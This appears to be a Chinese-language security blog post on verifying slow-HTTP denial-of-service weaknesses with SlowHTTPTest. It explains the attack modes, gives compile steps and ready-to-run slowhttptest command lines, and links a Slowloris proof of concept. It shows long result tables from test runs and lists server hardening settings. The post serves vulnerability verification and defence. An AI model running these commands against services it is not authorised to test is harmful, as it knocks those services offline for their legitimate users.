编译安装 SlowHTTPTest 与 Slowloris Attack
背景
Acunetix WVS 扫到的漏洞,名称为 Slow HTTP Denial of Service Attack
。在告警中还有一句 Time difference between connections: 9968 ms
,大概是正常 HTTP 请求 与 慢速 HTTP 请求的响应时间可以相差约 9900 ms 。写本文的主要目的是了解 Slow HTTP Denial of Service Attack 的原理,以及标准化验证流程 。
标准化验证建议使用 slowhttptest 输出 HTML 报表
命令如下
./slowhttptest -c 1000 -H -g -o slow_header_stats -i 10 -r 200 -t GET -l 300 -u http://example.com -x 24 -p 3
另外也有其他 PoC 可供参考
https://github.com/llaera/slowloris.pl/blob/master/slowloris.pl
攻击原理简介
这种攻击对攻击者 带宽 依赖较小,主要是客户端与服务器建立和维持大量 TCP 连接,服务器每维护一个 TCP 连接都需要分配内存新建线程,当服务器没有对单一 IP 限制 TCP 连接数时,如果此时他们建立了大量连接,等待过程中占用 TCP 连接数达到服务器连接数上限,服务器便无法处理 新的 来自正常用户的其他 HTTP 请求,导致拒绝服务。
三种攻击模式
Slowloris:
针对目标服务器打开尽可能多的 TCP 连接,对每个 TCP 连接维持尽可能长的时间。
通常是不断向服务器发送 “不完整的 HTTP 请求” (完整的 HTTP 请求是以 \r\n\r\n
结尾,攻击时仅发送 \r\n
,少发送一个 \r\n
,服务器认为请求还未发完,就会一直等待直至超时。)
等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
Slow HTTP Post:
原理和 Slowloris有点类似,这次是通过声明一个较大的 content-length 后,body 缓慢发送,导致服务器一直等待
Slow Read Attack:
向服务器发送一个正常合法的 read 请求,请求一个很大的文件,但认为的把 TCP 滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:
a) tcp窗口设置要比服务器的socket缓存小,这样发送才慢。
b) 请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。
编译
默认位置是 /usr/local/bin/slowhttptest
。
https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage
# https://github.com/shekyan/slowhttptest
autoreconf -f -i
./configure
make
sudo make install
# 刷新 zsh 以支持自动补全
rehash
https://stackoverflow.com/questions/33278928/how-to-overcome-aclocal-1-15-is-missing-on-your-system-warning
基本使用
slowhttptest 有 4 种测试模式,分别是 Slowloris (slow header)
, R-U-Dead-Yet (slow body)
, Apache killer (range attack)
和 Slow Read
, 可以用 slowhttptest -h
查看详情。
Kali 的工具介绍页面对各参数有详细的解释
https://tools.kali.org/stress-testing/slowhttptest
示例用法 1
slowhttptest -c 10000 -H -g -o slowhttp -i 5 -u http://wp.blkstone.me -x 24 -p 10
示例用法 2
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -l 300 -u http://wp.blkstone.me -x 24 -p 3
示例结果
Test parameters
Test type
SLOW HEADERS
Number of connections
4090
Verb
GET
Content-Length header value
4096
Extra data max length
50
Interval between follow up data
5 seconds
Connections per seconds
50
Timeout for probe connection
10
Target test duration
240 seconds
Using proxy
no proxy
Test results against http://wp.blkstone.me/ Closed Pending Connected Service available 0 11 22 33 44 55 66 77 88 99 110 121 132 0 1,000 2,000 3,000 4,000 Seconds Connections
Seconds
Closed
Pending
Connected
Service available
0
0
1
0
4,090
1
0
6
38
4,090
2
0
6
80
4,090
3
0
6
122
4,090
4
0
11
159
4,090
5
0
37
175
4,090
6
0
64
190
4,090
7
0
68
213
4,090
8
0
69
254
4,090
9
0
88
277
4,090
10
0
119
287
4,090
11
0
159
288
4,090
12
0
202
288
4,090
13
0
244
288
4,090
14
0
287
288
4,090
15
0
329
288
4,090
16
0
370
288
4,090
17
0
412
288
4,090
18
0
455
288
4,090
19
0
497
288
4,090
20
0
539
288
0
21
0
580
288
0
22
11
600
299
0
23
13
638
297
0
24
17
676
297
0
25
25
711
297
0
26
34
742
298
0
27
95
722
298
0
28
140
721
296
0
29
193
713
293
0
30
237
712
292
0
31
276
717
291
0
32
318
718
291
0
33
360
721
291
0
34
390
737
291
0
35
432
736
291
0
36
471
738
291
0
37
510
741
291
0
38
551
742
291
0
39
579
758
291
0
40
607
774
291
0
41
636
786
291
0
42
675
789
291
0
43
722
784
291
0
44
762
789
289
0
45
793
801
289
0
46
825
812
289
0
47
861
818
289
0
48
927
793
291
0
49
993
773
287
0
50
1,057
749
289
0
51
1,097
747
293
0
52
1,154
730
295
0
53
1,198
729
295
0
54
1,243
726
295
0
55
1,282
730
295
0
56
1,322
732
295
0
57
1,364
733
295
0
58
1,403
737
295
0
59
1,444
740
295
0
60
1,469
757
295
0
61
1,500
768
295
0
62
1,530
780
295
0
63
1,567
786
295
0
64
1,612
783
295
0
65
1,653
784
295
0
66
1,679
800
295
0
67
1,718
803
295
0
68
1,754
809
295
0
69
1,827
779
295
0
70
1,893
762
288
0
71
1,923
775
286
0
72
1,997
746
284
0
73
2,049
738
282
0
74
2,091
738
282
0
75
2,134
738
282
0
76
2,171
742
282
0
77
2,214
741
282
0
78
2,259
741
281
0
79
2,300
743
281
0
80
2,338
747
281
0
81
2,364
763
281
0
82
2,393
776
281
0
83
2,435
777
281
0
84
2,462
794
280
0
85
2,507
788
283
0
86
2,549
780
291
0
87
2,576
796
290
0
88
2,612
804
289
0
89
2,661
798
289
0
90
2,731
757
302
0
91
2,753
777
302
0
92
2,826
746
301
0
93
2,892
726
297
0
94
2,939
718
301
0
95
2,982
715
303
0
96
3,021
717
303
0
97
3,059
722
303
0
98
3,100
687
303
0
99
3,144
643
303
0
100
3,185
602
303
0
101
3,224
563
303
0
102
3,248
539
303
0
103
3,285
502
303
0
104
3,316
471
303
0
105
3,344
449
297
0
106
3,385
410
295
0
107
3,429
370
291
0
108
3,456
345
289
0
109
3,503
304
283
0
110
3,542
272
276
0
111
3,558
260
272
0
112
3,644
218
228
0
113
3,711
190
189
0
114
3,784
165
141
0
115
3,830
123
137
4,090
116
3,872
82
136
4,090
117
3,913
41
136
4,090
118
3,949
5
136
4,090
119
3,954
0
136
4,090
120
3,954
0
136
4,090
121
3,954
0
136
4,090
122
3,954
0
136
4,090
123
3,954
0
136
4,090
124
3,954
0
136
4,090
125
3,954
0
136
4,090
126
3,954
0
136
4,090
127
3,963
0
127
4,090
128
3,967
0
123
4,090
129
3,969
0
121
4,090
130
3,975
0
115
4,090
131
3,977
0
113
4,090
132
3,983
0
107
4,090
133
4,026
0
64
4,090
134
4,054
0
36
4,090
135
4,087
0
3
4,090
136
4,088
0
2
4,090
137
4,088
0
2
4,090
138
4,089
0
1
4,090
2,435
分析示例
图例说明
以下两个案例均为 发送 1000 个 TCP 连接请求。
Closed / 关闭结束的 TCP 连接
Pending / 已发送 SYN 等待服务端 ACK 的半连接
Connected / 成功与服务器建立三次握手的 TCP 连接
Service available / 服务是否可用
需要说明的是 Connected 和 Pending 都是有极限的,当连个都到达极限时,如果有新的 SYN 到服务端,应该会直接被 RST 给关闭 (close) 掉。
案例 1
Test parameters
Test type
SLOW HEADERS
Number of connections
1000
Verb
GET
Content-Length header value
4096
Extra data max length
52
Interval between follow up data
10 seconds
Connections per seconds
200
Timeout for probe connection
3
Target test duration
300 seconds
Using proxy
no proxy
Test results against https://eqx.example.com.cn/eqx/html/login.html Closed Pending Connected Service available 0 23 46 69 92 115 138 161 184 207 230 253 276 299 0 200 400 600 800 1,000 Seconds Connections
Seconds
Closed
Pending
Connected
Service available
0
0
1
0
1,000
1
0
30
103
1,000
2
0
27
237
1,000
3
0
32
366
1,000
4
0
50
483
1,000
5
0
198
485
1,000
6
0
347
485
1,000
7
0
491
486
1,000
8
0
514
486
1,000
9
0
514
486
0
10
0
514
486
0
11
0
514
486
0
12
0
514
486
0
13
0
514
486
0
14
0
514
486
0
15
0
514
486
0
16
0
514
486
0
17
0
514
486
0
18
0
514
486
0
19
0
514
486
0
20
0
514
486
0
21
0
514
486
0
22
0
514
486
0
23
0
514
486
0
24
0
514
486
0
25
56
458
486
1,000
26
207
307
486
1,000
27
354
160
486
1,000
28
499
15
486
1,000
29
514
0
486
1,000
30
514
0
486
1,000
31
514
0
486
1,000
32
514
0
486
1,000
33
514
0
486
0
34
514
0
486
0
35
514
0
486
0
36
514
0
486
0
37
514
0
486
0
38
514
0
486
0
39
514
0
486
0
40
514
0
486
0
41
514
0
486
0
42
514
0
486
0
43
514
0
486
0
44
514
0
486
0
45
514
0
486
0
46
514
0
486
0
47
514
0
486
0
48
514
0
486
0
49
514
0
486
0
50
514
0
486
0
51
514
0
486
0
52
514
0
486
0
53
514
0
486
0
54
514
0
486
0
55
514
0
486
0
56
514
0
486
0
57
514
0
486
0
58
514
0
486
0
59
514
0
486
0
60
514
0
486
0
61
514
0
486
0
62
514
0
486
0
63
514
0
486
0
64
514
0
486
0
65
514
0
486
0
66
514
0
486
0
67
514
0
486
0
68
514
0
486
0
69
514
0
486
0
70
514
0
486
0
71
514
0
486
0
72
514
0
486
0
73
514
0
486
0
74
514
0
486
0
75
514
0
486
0
76
514
0
486
0
77
514
0
486
0
78
514
0
486
0
79
514
0
486
0
80
514
0
486
0
81
514
0
486
0
82
514
0
486
0
83
514
0
486
0
84
514
0
486
0
85
514
0
486
0
86
514
0
486
0
87
514
0
486
0
88
514
0
486
1,000
89
514
0
486
1,000
90
514
0
486
1,000
91
514
0
486
1,000
92
514
0
486
1,000
93
514
0
486
1,000
94
514
0
486
1,000
95
514
0
486
1,000
96
514
0
486
1,000
97
514
0
486
1,000
98
514
0
486
1,000
99
514
0
486
1,000
100
514
0
486
1,000
101
514
0
486
1,000
102
514
0
486
1,000
103
514
0
486
1,000
104
514
0
486
1,000
105
514
0
486
1,000
106
514
0
486
1,000
107
514
0
486
1,000
108
514
0
486
1,000
109
514
0
486
1,000
110
514
0
486
1,000
111
514
0
486
1,000
112
514
0
486
1,000
113
514
0
486
1,000
114
514
0
486
1,000
115
514
0
486
1,000
116
514
0
486
1,000
117
514
0
486
1,000
118
514
0
486
1,000
119
514
0
486
1,000
120
514
0
486
1,000
121
514
0
486
1,000
122
514
0
486
1,000
123
514
0
486
1,000
124
514
0
486
1,000
125
514
0
486
1,000
126
514
0
486
1,000
127
514
0
486
1,000
128
514
0
486
1,000
129
514
0
486
1,000
130
514
0
486
1,000
131
514
0
486
1,000
132
514
0
486
1,000
133
514
0
486
1,000
134
514
0
486
1,000
135
514
0
486
1,000
136
514
0
486
1,000
137
514
0
486
1,000
138
514
0
486
1,000
139
514
0
486
1,000
140
514
0
486
1,000
141
514
0
486
0
142
514
0
486
0
143
514
0
486
0
144
514
0
486
0
145
514
0
486
0
146
514
0
486
0
147
514
0
486
0
148
514
0
486
1,000
149
514
0
486
1,000
150
514
0
486
1,000
151
514
0
486
1,000
152
514
0
486
1,000
153
514
0
486
1,000
154
514
0
486
1,000
155
514
0
486
1,000
156
514
0
486
1,000
157
514
0
486
1,000
158
514
0
486
1,000
159
514
0
486
1,000
160
514
0
486
1,000
161
514
0
486
1,000
162
514
0
486
1,000
163
514
0
486
1,000
164
514
0
486
1,000
165
514
0
486
1,000
166
514
0
486
1,000
167
514
0
486
1,000
168
514
0
486
1,000
169
514
0
486
1,000
170
514
0
486
1,000
171
514
0
486
1,000
172
514
0
486
1,000
173
514
0
486
1,000
174
514
0
486
1,000
175
514
0
486
1,000
176
514
0
486
1,000
177
514
0
486
1,000
178
514
0
486
1,000
179
514
0
486
1,000
180
514
0
486
1,000
181
514
0
486
1,000
182
514
0
486
1,000
183
514
0
486
1,000
184
514
0
486
1,000
185
514
0
486
1,000
186
514
0
486
1,000
187
514
0
486
1,000
188
514
0
486
1,000
189
514
0
486
1,000
190
514
0
486
1,000
191
514
0
486
1,000
192
514
0
486
1,000
193
514
0
486
1,000
194
514
0
486
1,000
195
514
0
486
1,000
196
514
0
486
1,000
197
514
0
486
1,000
198
514
0
486
1,000
199
514
0
486
1,000
200
514
0
486
1,000
201
514
0
486
1,000
202
514
0
486
1,000
203
514
0
486
1,000
204
514
0
486
1,000
205
514
0
486
1,000
206
514
0
486
1,000
207
514
0
486
1,000
208
514
0
486
1,000
209
514
0
486
1,000
210
514
0
486
1,000
211
514
0
486
1,000
212
514
0
486
1,000
213
514
0
486
1,000
214
514
0
486
1,000
215
514
0
486
1,000
216
514
0
486
1,000
217
514
0
486
1,000
218
514
0
486
1,000
219
514
0
486
1,000
220
514
0
486
1,000
221
514
0
486
1,000
222
514
0
486
1,000
223
514
0
486
1,000
224
514
0
486
1,000
225
514
0
486
1,000
226
514
0
486
1,000
227
514
0
486
1,000
228
514
0
486
1,000
229
514
0
486
1,000
230
514
0
486
1,000
231
514
0
486
1,000
232
514
0
486
1,000
233
514
0
486
1,000
234
514
0
486
1,000
235
514
0
486
1,000
236
514
0
486
1,000
237
514
0
486
1,000
238
514
0
486
1,000
239
514
0
486
1,000
240
514
0
486
1,000
241
514
0
486
1,000
242
514
0
486
1,000
243
514
0
486
1,000
244
514
0
486
1,000
245
514
0
486
1,000
246
514
0
486
1,000
247
514
0
486
1,000
248
514
0
486
1,000
249
514
0
486
1,000
250
514
0
486
1,000
251
514
0
486
1,000
252
514
0
486
1,000
253
514
0
486
1,000
254
514
0
486
1,000
255
514
0
486
1,000
256
514
0
486
1,000
257
514
0
486
1,000
258
514
0
486
1,000
259
514
0
486
1,000
260
514
0
486
1,000
261
514
0
486
1,000
262
514
0
486
1,000
263
514
0
486
1,000
264
514
0
486
1,000
265
514
0
486
1,000
266
514
0
486
1,000
267
514
0
486
1,000
268
514
0
486
1,000
269
514
0
486
1,000
270
514
0
486
1,000
271
514
0
486
1,000
272
514
0
486
1,000
273
514
0
486
1,000
274
514
0
486
1,000
275
514
0
486
1,000
276
514
0
486
1,000
277
514
0
486
1,000
278
514
0
486
1,000
279
514
0
486
1,000
280
514
0
486
1,000
281
514
0
486
1,000
282
514
0
486
1,000
283
514
0
486
1,000
284
514
0
486
1,000
285
514
0
486
1,000
286
514
0
486
1,000
287
514
0
486
1,000
288
514
0
486
1,000
289
514
0
486
1,000
290
514
0
486
1,000
291
514
0
486
1,000
292
514
0
486
1,000
293
514
0
486
1,000
294
514
0
486
1,000
295
514
0
486
1,000
296
514
0
486
1,000
297
514
0
486
1,000
298
514
0
486
1,000
299
514
0
486
1,000
300
514
0
486
1,000
301
514
0
486
1,000
available
案例 1 分析
一开始 (0-7秒) 成功连接的 TCP 请求 (connected) 和 半连接 TCP 请求 (pending) 的数量都在快速增加,一直增加到第 7 秒,他们的和为 1000 (因为设定就是发 1000 个请求), 在 23 秒的时候,大量半连接(pending) 由于三次握手一直未收到 ACK,超时,直接 (没成功握手就) 结束连接 (因此 closed 数量增加)。 但是 从 0-7 秒就连接上服务器的那些 TCP 连接 在后续到 300 秒时 都没有被超时强制结束。
结论就是服务器没有做 HTTP 慢请求 (Slowloris) 超时控制, 或者设定的超时时间在 300 秒以上。
案例 2
Test parameters
Test type
SLOW HEADERS
Number of connections
1000
Verb
GET
Content-Length header value
4096
Extra data max length
52
Interval between follow up data
10 seconds
Connections per seconds
200
Timeout for probe connection
3
Target test duration
300 seconds
Using proxy
no proxy
Test results against http://wp.blkstone.me/ Closed Pending Connected Service available 0 23 46 69 92 115 138 161 184 207 230 253 276 299 0 200 400 600 800 1,000 Seconds Connections
Seconds
Closed
Pending
Connected
Service available
0
0
1
0
1,000
1
0
61
97
1,000
2
0
123
185
1,000
3
0
262
198
1,000
4
0
392
226
1,000
5
0
540
237
1,000
6
0
665
275
0
7
0
703
297
0
8
0
701
299
0
9
0
699
301
0
10
0
698
302
0
11
0
697
303
0
12
0
697
303
0
13
0
697
303
0
14
0
697
303
0
15
0
697
303
0
16
0
697
303
0
17
0
697
303
0
18
0
697
303
0
19
0
697
303
0
20
0
697
303
0
21
0
697
303
0
22
7
697
296
0
23
97
611
292
0
24
197
513
290
0
25
336
383
281
0
26
507
223
270
0
27
679
73
248
0
28
782
0
218
0
29
795
0
205
0
30
819
0
181
0
31
836
0
164
0
32
841
0
159
0
33
841
0
159
0
34
842
0
158
0
35
843
0
157
0
36
844
0
156
0
37
844
0
156
0
38
844
0
156
0
39
844
0
156
0
40
844
0
156
0
41
844
0
156
0
42
844
0
156
0
43
847
0
153
0
44
850
0
150
1,000
45
855
0
145
1,000
46
860
0
140
1,000
47
874
0
126
1,000
48
885
0
115
1,000
49
909
0
91
1,000
50
923
0
77
1,000
51
930
0
70
0
52
945
0
55
1,000
53
954
0
46
1,000
54
960
0
40
1,000
55
960
0
40
1,000
56
963
0
37
1,000
57
964
0
36
1,000
58
964
0
36
1,000
59
966
0
34
1,000
60
968
0
32
1,000
61
968
0
32
1,000
62
968
0
32
1,000
63
968
0
32
0
64
970
0
30
0
65
971
0
29
1,000
66
971
0
29
1,000
67
971
0
29
1,000
68
971
0
29
1,000
69
971
0
29
1,000
70
971
0
29
1,000
71
971
0
29
1,000
72
971
0
29
1,000
73
971
0
29
1,000
74
971
0
29
1,000
75
971
0
29
1,000
76
971
0
29
1,000
77
971
0
29
1,000
78
971
0
29
1,000
79
971
0
29
1,000
80
971
0
29
1,000
81
971
0
29
1,000
82
971
0
29
1,000
83
971
0
29
1,000
84
971
0
29
1,000
85
971
0
29
1,000
86
971
0
29
1,000
87
971
0
29
1,000
88
971
0
29
1,000
89
971
0
29
1,000
90
971
0
29
1,000
91
971
0
29
1,000
92
971
0
29
1,000
93
971
0
29
1,000
94
971
0
29
1,000
95
971
0
29
1,000
96
971
0
29
1,000
97
971
0
29
1,000
98
971
0
29
1,000
99
971
0
29
1,000
100
971
0
29
1,000
101
971
0
29
1,000
102
971
0
29
1,000
103
971
0
29
1,000
104
971
0
29
1,000
105
971
0
29
1,000
106
971
0
29
1,000
107
971
0
29
1,000
108
971
0
29
0
109
971
0
29
0
110
971
0
29
1,000
111
971
0
29
1,000
112
971
0
29
1,000
113
971
0
29
1,000
114
971
0
29
1,000
115
971
0
29
1,000
116
971
0
29
1,000
117
971
0
29
1,000
118
971
0
29
1,000
119
971
0
29
1,000
120
971
0
29
1,000
121
971
0
29
1,000
122
971
0
29
1,000
123
971
0
29
1,000
124
971
0
29
1,000
125
971
0
29
1,000
126
971
0
29
1,000
127
971
0
29
1,000
128
971
0
29
1,000
129
971
0
29
1,000
130
971
0
29
1,000
131
971
0
29
1,000
132
971
0
29
1,000
133
971
0
29
1,000
134
971
0
29
1,000
135
971
0
29
1,000
136
971
0
29
1,000
137
971
0
29
1,000
138
971
0
29
1,000
139
971
0
29
1,000
140
971
0
29
1,000
141
971
0
29
1,000
142
971
0
29
1,000
143
971
0
29
1,000
144
971
0
29
1,000
145
971
0
29
1,000
146
971
0
29
1,000
147
971
0
29
0
148
971
0
29
1,000
149
971
0
29
1,000
150
971
0
29
1,000
151
971
0
29
1,000
152
971
0
29
1,000
153
971
0
29
1,000
154
971
0
29
1,000
155
971
0
29
1,000
156
971
0
29
1,000
157
971
0
29
1,000
158
971
0
29
1,000
159
971
0
29
1,000
160
971
0
29
1,000
161
971
0
29
1,000
162
971
0
29
1,000
163
971
0
29
1,000
164
971
0
29
1,000
165
971
0
29
1,000
166
971
0
29
1,000
167
971
0
29
1,000
168
971
0
29
1,000
169
971
0
29
1,000
170
971
0
29
1,000
171
971
0
29
1,000
172
971
0
29
1,000
173
971
0
29
1,000
174
971
0
29
1,000
175
971
0
29
1,000
176
971
0
29
1,000
177
971
0
29
1,000
178
971
0
29
1,000
179
971
0
29
1,000
180
971
0
29
1,000
181
971
0
29
1,000
182
971
0
29
1,000
183
971
0
29
1,000
184
971
0
29
1,000
185
971
0
29
1,000
186
971
0
29
1,000
187
971
0
29
1,000
188
971
0
29
1,000
189
971
0
29
1,000
190
971
0
29
1,000
191
971
0
29
1,000
192
971
0
29
1,000
193
971
0
29
1,000
194
971
0
29
1,000
195
971
0
29
1,000
196
971
0
29
1,000
197
971
0
29
1,000
198
971
0
29
1,000
199
971
0
29
1,000
200
971
0
29
1,000
201
971
0
29
1,000
202
971
0
29
1,000
203
971
0
29
1,000
204
971
0
29
1,000
205
971
0
29
1,000
206
971
0
29
1,000
207
971
0
29
1,000
208
971
0
29
1,000
209
971
0
29
1,000
210
971
0
29
1,000
211
971
0
29
1,000
212
971
0
29
1,000
213
971
0
29
1,000
214
971
0
29
1,000
215
971
0
29
1,000
216
971
0
29
1,000
217
971
0
29
1,000
218
971
0
29
1,000
219
971
0
29
1,000
220
971
0
29
1,000
221
971
0
29
1,000
222
971
0
29
1,000
223
971
0
29
1,000
224
971
0
29
1,000
225
971
0
29
1,000
226
971
0
29
1,000
227
971
0
29
1,000
228
971
0
29
1,000
229
971
0
29
1,000
230
971
0
29
1,000
231
971
0
29
1,000
232
971
0
29
1,000
233
971
0
29
1,000
234
971
0
29
1,000
235
971
0
29
1,000
236
971
0
29
1,000
237
971
0
29
1,000
238
971
0
29
1,000
239
971
0
29
1,000
240
971
0
29
1,000
241
971
0
29
1,000
242
971
0
29
1,000
243
971
0
29
1,000
244
971
0
29
1,000
245
971
0
29
1,000
246
971
0
29
1,000
247
971
0
29
1,000
248
971
0
29
1,000
249
971
0
29
1,000
250
971
0
29
1,000
251
971
0
29
1,000
252
971
0
29
1,000
253
971
0
29
1,000
254
971
0
29
1,000
255
971
0
29
1,000
256
971
0
29
1,000
257
971
0
29
1,000
258
971
0
29
1,000
259
971
0
29
1,000
260
971
0
29
1,000
261
971
0
29
1,000
262
971
0
29
1,000
263
971
0
29
1,000
264
971
0
29
1,000
265
971
0
29
1,000
266
971
0
29
1,000
267
971
0
29
1,000
268
971
0
29
1,000
269
971
0
29
1,000
270
971
0
29
1,000
271
971
0
29
1,000
272
971
0
29
1,000
273
971
0
29
1,000
274
971
0
29
1,000
275
971
0
29
1,000
276
971
0
29
1,000
277
971
0
29
1,000
278
971
0
29
1,000
279
971
0
29
1,000
280
971
0
29
1,000
281
971
0
29
1,000
282
971
0
29
1,000
283
971
0
29
1,000
284
971
0
29
1,000
285
971
0
29
1,000
286
971
0
29
1,000
287
971
0
29
1,000
288
971
0
29
1,000
289
971
0
29
1,000
290
971
0
29
1,000
291
971
0
29
1,000
292
971
0
29
1,000
293
971
0
29
1,000
294
971
0
29
1,000
295
971
0
29
1,000
296
971
0
29
1,000
297
971
0
29
1,000
298
971
0
29
1,000
299
971
0
29
1,000
300
971
0
29
1,000
301
971
0
29
1,000
available
案例 2 分析
类似的, 一开始 (0-7秒) 成功连接的 TCP 请求 (connected) 和 半连接 TCP 请求 (pending) 的数量都在快速增加,一直增加到第 7 秒,他们的和为 1000 (因为设定就是发 1000 个请求), 在 23 秒的时候,大量半连接 (pending) 由于三次握手一直未收到 ACK,超时,直接 (没成功握手就) 结束连接 (因此 closed 数量增加)。
与此同时,有部分 TCP 半连接 (pending) 转化成了 TCP 连接 (connected)。
与此同时,部分 TCP 连接 (connected) 也因为触发 HTTP 慢连接超时而被结束。
在 47 秒时,又有部分TCP 连接 (connected) 因为触发 慢连接超时被结束。
最终仅留下少量 TCP 连接 长期维持。
(推测是服务器在负载较低的情况下不会进行 慢连接超时强制结束 的操作)
修复建议
大致思路
1、限制单机 IP 的连接数。
2、限制 HTTP request header/body 的超时时间
How to Protect Against Slow HTTP Attacks – slowhttptest 作者
http://blog.shekyan.com/2011/11/how-to-protect-against-slow-http-attacks.html
针对不同的 Server 其对 慢速 HTTP 拒绝服务攻击 防范方法也不同,建议使用以下措施防范 慢速 HTTP 拒绝服务攻击:
【WebSphere】
1、限制 HTTP 数据的大小
在 WebSphere Application Server 中进行如下设置:
何单个 HTTP 头的默认最大大小为 32768 字节。可以将它设置为不同的值。
HTTP 头的默认最大数量为 50。可以将它设置为不同的限制值。
另一种常见的 DOS 攻击是发送一个请求,这个请求会导致一个长期运行的 GET 请求。WebSphere Application Server Plug-in 中的 ServerIOTimeoutRetry 属性可限制任何请求的重试数量。这可以降低这种长期运行的请求的影响。
设置限制任何请求正文的最大大小。
2、设置 keepalive 参数
打开 IBM http server安装目录,打开文件夹 conf ,打开文件 httpd.conf ,查找 KeepAlive 值,改 ON 为 OFF, 其默认为 ON。
这个值说明是否保持客户端与 HTTP SERVER 的连接数,如果设置为 ON ,则请求数到达 MaxKeepAliveRequests 设定值时请求将排队,导致响应变慢。
【Weblogic】
1、在配置管理界面中的协议 -> 一般信息下设置 完成消息超时时间小于 400
2、在配置管理界面中的协议 -> HTTP下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。
【Nginx】
1、通过调整 $request_method
,配置服务器接受 HTTP 包的操作限制;
2、在保证业务不受影响的前提下,调整 client_max_body_size, client_body_buffer_size, client_header_buffer_size,large_client_header_buffersclient_body_timeout, client_header_timeout 的值,必要时可以适当的增加;
3、对于会话或者相同的 IP 地址,可以使用 HttpLimitReqModule 与 HttpLimitZoneModule 参数去限制请求量或者并发连接数;
4、根据CPU和负载的大小,来配置 worker_processes 和 worker_connections 的值,公式是:max_clients = worker_processes * worker_connections。
【Apache】
建议使用 mod_reqtimeout 和 mod_qos 两个模块相互配合来防护。
1、mod_reqtimeout 用于控制每个连接上请求发送的速率。配置例如:
请求正文部分,设置超时时间初始为 10 秒,并在收到客户端发送的数据后,每接收到 500 字节数据就将超时时间延长 1 秒,但最长不超过 40 秒。可以防护 slow message body 型的慢速攻击。
RequestReadTimeout body=10-40,minrate=500
需注意,对于 HTTPS 站点,需要把初始超时时间上调,比如调整到 20 秒。
2、mod_qos 用于控制并发连接数。配置例如:
当服务器并发连接数超过 600 时,关闭 keepalive
QS_SrvMaxConnClose 600
每个源IP最大并发连接数为50
QS_SrvMaxConnPerIP 50
这两个数值可以根据服务器的性能调整。
【IHS服务器】
先安装最新补丁包,然后启用 mod_reqtimeout 模块,在配置文件中加入:
loadModule reqtimeout_module modules/mod_reqtimeout.so
为 mod_reqtimeout 模块添加配置:
<IfModule mod_reqtimeout.c>
RequestReadTimeout header=10-40,MinRate=500 body=10-40,MinRate=500
</IfModule>
对于 HTTPS 站点,建议 header=20-40,MinRate=500。
【F5负载均衡修复建议】
F5负载均衡设备有相应的防护模块。
参考资料
WHAT IS SLOWLORIS?
https://www.incapsula.com/ddos/attack-glossary/slowloris.html
slowhttptest wiki
https://github.com/shekyan/slowhttptest/wiki
应用层慢速 DDoS 攻击压力测试工具 – SlowHTTPTest
https://blog.csdn.net/xysoul/article/details/45169807
缓慢的 HTTP 拒绝服务攻击测试 – slowhttptest
http://front-ender.me/test/slowhttptest.html
缓慢的 HTTP 拒绝服务攻击漏洞的验证 ( slowhttptest 的安装)
https://blog.csdn.net/qq_32393893/article/details/81220015
【作者投稿】Slowhttptest攻击原理 – xazlsec
https://cloud.tencent.com/developer/column/4712
Leave a Reply